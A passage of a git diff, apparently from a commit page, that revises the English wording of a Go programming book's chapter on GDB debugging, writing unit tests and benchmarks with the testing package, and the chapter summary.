From the `goroutines` command, we can have a better picture of what Go's runtime system is doing internally; the calling sequence for each function is plainly displayed.
|
||||
|
||||
## Summary
|
||||
|
||||
In this section we introduce the GDB debugger Go program some basic commands, including the `run`, `print`, `info`, `set variable`, `continue`, `list`, `break` and other frequently used debugging commands, by the above examples demonstrate, I believe, through the GDB debugger for the reader has a basic understanding of Go programs, if you want to get more debugging tips, please refer to the official website of the GDB debugger manual, as well as the official website of the GDB manual.
|
||||
In this section, we introduced some basic commands from the GDB debugger that you can use to debug your Go applications. These included the `run`, `print`, `info`, `set variable`, `continue`, `list` and `break` commands, among others. From the brief examples above, I hope that you will have a better understanding of how the debugging process works in Go using the GDB debugger. If you want to get more debugging tips, please refer to the GDB manual on its [official website](http://www.gnu.org/software/gdb/).
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# 11.3 Write test cases
|
||||
# 11.3 Writing test cases
|
||||
|
||||
Development process in which a very important point is to test, how do we ensure the quality of code, how to ensure that each function is run, the results are correct, and how to ensure that write out the code performance is good, we know that the focus of the unit test program is to find a logic error in design or implementation, the problem early exposure to facilitate the positioning of the problem solved, and performance testing focuses on program design found some problems, so that the program can be online in the case of high concurrency can keep stability. This section will take this series of questions to explain how the Go language to implement unit testing and performance testing.
|
||||
In the course of development, a very important step is to test our code to ensure its quality and integrity. We need to make sure that every function returns the expected result, and that our code performs optimally. We already know that the focus of unit tests is to find logical errors in the design or implementation of programs. They are used to detect and expose problems in code early on so that we can more easily fix them, before they get out of hand. We also know that performance tests are conducted for the purpose of optimizing our code so that it is stable under load, and can maintain a high level of concurrency. In this section, we'll take a look at some commonly asked questions about how unit and performance tests are implemented in Go.
|
||||
|
||||
Go language comes with a lightweight testing framework `testing` and comes with `go test` command to implement unit testing and performance testing, `testing` framework and other similar language testing framework, you can be based on this framework to write test cases for the corresponding function can also be written based on the framework of the corresponding pressure test, then let's look at how to write eleven.
|
||||
The Go language comes with a lightweight testing framework called `testing`, and we can use the `go test` command to execute unit and performance tests. Go's `testing` framework works similarly to testing frameworks in other languages. You can develop all sorts of test suites with them, which may include tests for unit testes, benchmarking, stress tests, etc. Let's learn about testing in Go, step by step.
|
||||
|
||||
## How to write test cases
|
||||
|
||||
Since `go test` command can only be executed under a corresponding directory of all files, so we are going to create a new project directory `gotest`, so that all of our code and test code are in this directory.
|
||||
Since the `go test` command can only be executed in a directory containing all corresponding files, we are going to create a new project directory `gotest` so that all of our code and test code are in the same directory.
|
||||
|
||||
Next, we create two files in the directory below: gotest.go and gotest_test.go
|
||||
Let's go ahead and create two files in the directory called gotest.go and gotest_test.go
|
||||
|
||||
1. Gotest.go: The document which we have created a package, which has a function in a division operation:
|
||||
1. Gotest.go: This file declares our package name and has a function that performs a division operation:
|
||||
|
||||
<pre>package gotest
|
||||
|
||||
@@ -25,15 +25,15 @@ Next, we create two files in the directory below: gotest.go and gotest_test.go
|
||||
return a / b, nil
|
||||
}</pre>
|
||||
|
||||
2. Gotest_test.go: This is our unit test files, but keep the following principles:
|
||||
2. Gotest_test.go: This is our unit test file. Keep in mind the following principles for test files:
|
||||
|
||||
- File names must be `_test.go` end, so in the implementation of `go test` will be executed when the appropriate code
|
||||
- You have to import `testing` this package
|
||||
- All test cases functions must be the beginning of `Test`
|
||||
- Test case will follow the source code written in the order execution
|
||||
- Test function `TestXxx()` argument is `testing.T`, we can use this type to record errors or test status
|
||||
- Test format: `func TestXxx(t * testing.T)`, `Xxx` section can be any combination of alphanumeric, but can not be the first letter lowercase letters [az], for example, `Testintdiv` wrong function name.
|
||||
- Function by calling `testing.T` a `Error`, `Errorf`, `FailNow`, `Fatal`, `FatalIf` method, the test is not passed, calling `Log` test method is used to record the information.
|
||||
- File names must end in `_test.go` so that `go test` can find and execute the appropriate code
|
||||
- You have to import the `testing` package
|
||||
- All test case functions begin with `Test`
|
||||
- Test cases follow the source code order
|
||||
- Test functions of the form `TestXxx()` take a `testing.T` argument; we can use this type to record errors or to get the testing status
|
||||
- In functions of the form `func TestXxx(t * testing.T)`, the `Xxx` section can be any alphanumeric combination, but the first letter cannot be a lowercase letter [az]. For example, `Testintdiv` would be an invalid function name.
|
||||
- By calling one of the `Error`, `Errorf`, `FailNow`, `Fatal` or `FatalIf` methods of `testing.T` on our testing functions, we can fail the test. In addition, we can call the `Log` method of `testing.T` to record the information in the error log.
|
||||
|
||||
Here is our test code:
|
||||
|
||||
@@ -46,20 +46,20 @@ Here is our test code:
|
||||
func Test_Division_1(t *testing.T) {
|
||||
// try a unit test on function
|
||||
if i, e := Division(6, 2); i != 3 || e != nil {
|
||||
// If it is not as expected, then the error
|
||||
// If it is not as expected, then the test has failed
|
||||
t.Error("division function tests do not pass ")
|
||||
} else {
|
||||
// record some of the information you expect to record
|
||||
// record the expected information
|
||||
t.Log("first test passed ")
|
||||
}
|
||||
}
|
||||
|
||||
func Test_Division_2(t *testing.T) {
|
||||
t.Error("just do not pass")
|
||||
t.Error("just does not pass")
|
||||
}
|
||||
|
||||
|
||||
We perform in the project directory `go test`, it will display the following information:
|
||||
When executing `go test` in the project directory, it will display the following information:
|
||||
|
||||
--- FAIL: Test_Division_2 (0.00 seconds)
|
||||
gotest_test.go: 16: is not passed
|
||||
@@ -67,7 +67,7 @@ We perform in the project directory `go test`, it will display the following inf
|
||||
exit status 1
|
||||
FAIL gotest 0.013s
|
||||
|
||||
From this result shows the test does not pass, because in the second test function we wrote dead do not pass the test code `t.Error`, then our first case of how a function performs like it ? By default, execute `go test` is not displayed test information, we need to bring arguments `go test-v`, this will display the following information:
|
||||
We can see from this result that the second test function does not pass since we wrote in a dead-end using `t.Error`. But what about the performance of our first test function? By default, executing `go test` does not display test results. We need to supply the verbose argument `-v` like `go test -v` to display the following output:
|
||||
|
||||
=== RUN Test_Division_1
|
||||
--- PASS: Test_Division_1 (0.00 seconds)
|
||||
@@ -79,7 +79,7 @@ From this result shows the test does not pass, because in the second test functi
|
||||
exit status 1
|
||||
FAIL gotest 0.012s
|
||||
|
||||
The above output shows in detail the process of this test, we see that the test function 1 `Test_Division_1` test, and the test function 2 `Test_Division_2` test fails, finally concluded that the test is not passed. Next we modified the test function 2 the following code:
|
||||
The above output shows in detail the results of our test. We see that the test function 1 `Test_Division_1` passes, and the test function 2 `Test_Division_2` fails, finally concluding that our test suite does not pass. Next, we modify the test function 2 with the following code:
|
||||
|
||||
func Test_Division_2(t *testing.T) {
|
||||
// try a unit test on function
|
||||
@@ -92,7 +92,7 @@ The above output shows in detail the process of this test, we see that the test
|
||||
}
|
||||
}
|
||||
|
||||
Then we execute `go test-v`, the following information is displayed, the test passes:
|
||||
We execute `go test-v` once again. The following information should now be displayed -the test suite has passed~:
|
||||
|
||||
=== RUN Test_Division_1
|
||||
--- PASS: Test_Division_1 (0.00 seconds)
|
||||
@@ -103,19 +103,19 @@ Then we execute `go test-v`, the following information is displayed, the test pa
|
||||
PASS
|
||||
ok gotest 0.013s
|
||||
|
||||
## How to write stress test
|
||||
## How to write stress tests
|
||||
|
||||
Stress testing is used to detect function ( method ) performance, and writing unit functional testing method similar are not mentioned here, but need to pay attention to the following points:
|
||||
Stress testing is used to detect function performance, and bears some resemblance to unit testing (which we will not get into here), however we need need to pay attention to the following points:
|
||||
|
||||
- Pressure test must follow the following format, where XXX can be any combination of alphanumeric, but can not be the first letter lowercase letters
|
||||
- Stress tests must follow the following format, where XXX can be any alphanumeric combination and its first letter cannot be a lowercase letter.
|
||||
|
||||
func BenchmarkXXX (b *testing.B){...}
|
||||
|
||||
- `Go test` does not default to perform stress tests of function, if you want to perform stress tests need to bring arguments `-test.bench`, syntax: `-test.bench =" test_name_regex "`, such as `go test-test. bench = ". *" ` all of the stress test indicates the test function
|
||||
- In the pressure test, please remember to use the loop body `testing.BN`, so that the test can be normal operation
|
||||
- File name must end with `_test.go`
|
||||
- By default, `Go test` does not perform function stress tests. If you want to perform stress tests, you need to set the flag `-test.bench` with the format: `-test.bench="test_name_regex"`. For instance, to run all stress tests in your suite, you would run `go test -test.bench=".*"`.
|
||||
- In your stress tests, please remember to use testing.BN any loop bodies, so that the tests can be run properly.
|
||||
- As before, test file names must end in `_test.go`
|
||||
|
||||
Here we create a stress test file webbench_test.go, the code is as follows:
|
||||
Here we create a stress test file called webbench_test.go:
|
||||
|
||||
package gotest
|
||||
|
||||
@@ -133,9 +133,9 @@ Here we create a stress test file webbench_test.go, the code is as follows:
|
||||
b.StopTimer() // call the function to stop the stress test time count
|
||||
|
||||
// Do some initialization work, such as reading file data, database connections and the like,
|
||||
// So we test these times do not affect the performance of the function itself
|
||||
// So that our benchmarks reflect the performance of the function itself
|
||||
|
||||
b.StartTimer() // re- start time
|
||||
b.StartTimer() // re-start time
|
||||
for i := 0; i < b.N; i++ {
|
||||
Division(4, 5)
|
||||
}
|
||||
@@ -143,21 +143,21 @@ Here we create a stress test file webbench_test.go, the code is as follows:
|
||||
|
||||
|
||||
|
||||
We execute the command `go test-file webbench_test.go-test.bench =". * "`, You can see the following results:
|
||||
We then execute the `go test -file webbench_test.go -test.bench =".*"` command, which outputs the following results:
|
||||
|
||||
PASS
|
||||
Benchmark_Division 500000000 7.76 ns/ op
|
||||
Benchmark_TimeConsumingFunction 500000000 7.80 ns/ op
|
||||
ok gotest 9.364s
|
||||
|
||||
The above results show that we did not perform any `TestXXX` unit test functions, the results show only a function of stress tests carried out, the first show `Benchmark_Division` executed 500 million times the average execution time is 7.76 ns, the second shows the `Benchmark_TimeConsumingFunction` executed 500 million each, the average execution time is 7.80 ns. Finally a show total execution time.
|
||||
The above results show that we did not perform any of our `TestXXX` unit test functions, and instead only performed our `BenchmarkXXX` tests (which is exactly as expected). The first `Benchmark_Division` test shows that our `Division()` function executed 500 million times, with an average execution time of 7.76ns. The second `Benchmark_TimeConsumingFunction` shows that our `TmeConsumingFunction` executed 500 million times, with an average execution time of 7.80ns. Finally, it outputs the total execution time of our test suite.
|
||||
|
||||
## Summary
|
||||
|
||||
On the face of unit testing and stress testing of learning, we can see the `testing` package is very lightweight, and write unit tests and stress test is very simple, with built-in `go test` command can be very convenient for testing, so every time we have finished modifying code, click go test execution can simply complete regression testing.
|
||||
From our brief encounter with unit and stress testing in Go, we can see that the `testing` package is very lightweight, yet packed with useful utilities. We saw that writing unit and stress tests can be very simple, and running them can be even easier with Go's built-in `go test` command. Every time we modify our code, we can simply run `go test` to begin regression testing.
|
||||
|
||||
## Links
|
||||
|
||||
- [Directory](preface.md)
|
||||
- Previous section: [Debugging by using GDB](11.2.md)
|
||||
- Previous section: [Debugging using GDB](11.2.md)
|
||||
- Next section: [Summary](11.4.md)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 11.4 Summary
|
||||
|
||||
In this chapter we were introduced through three subsections Go language how to handle errors, how to design error handling, and then a second section describes how to GDB debugger GDB we can single-step through the debugger, you can view variables, modify variables, print implementation process, etc. Finally, we describe how to use the Go language comes with a lightweight frame `testing` to write unit tests and stress tests, the use of `go test` you can easily perform these tests allow us in the future to modify the code after upgrade very convenient for regression testing. Perhaps for this chapter you write application logic without any help, but for you to write out the program code is essential to maintain high quality, because a good Web application must have good error handling mechanism(error of friendly, scalability), there is a good unit testing and stress testing to ensure on-line after the code is able to maintain good performance and runs as expected.
|
||||
Over the course of the last three sections, we've introduced how to handle errors in Go, first looking at good error handling practices and design, then learning how to use the GDB debugger effectively. We saw that with GDB, we can perform single-step debugging, view and modify our program variables during execution, and print out the relevant process information. Finally, we described how to use Go's built-in `testing` framework to write unit and stress tests. Properly using this framework allows us to easily make any future changes to our code and perform the necessary regression testing. Good web applications must have good error handling, and part of that is having readable errors and error handling mechanisms which can scale in a predictable manner. Using the tools mentioned above as well as writing high quality and thorough unit and stress tests, we can have peace of mind knowing that once our applications are live, they can maintain optimal performance and run as expected.
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
Reference in New Issue
Block a user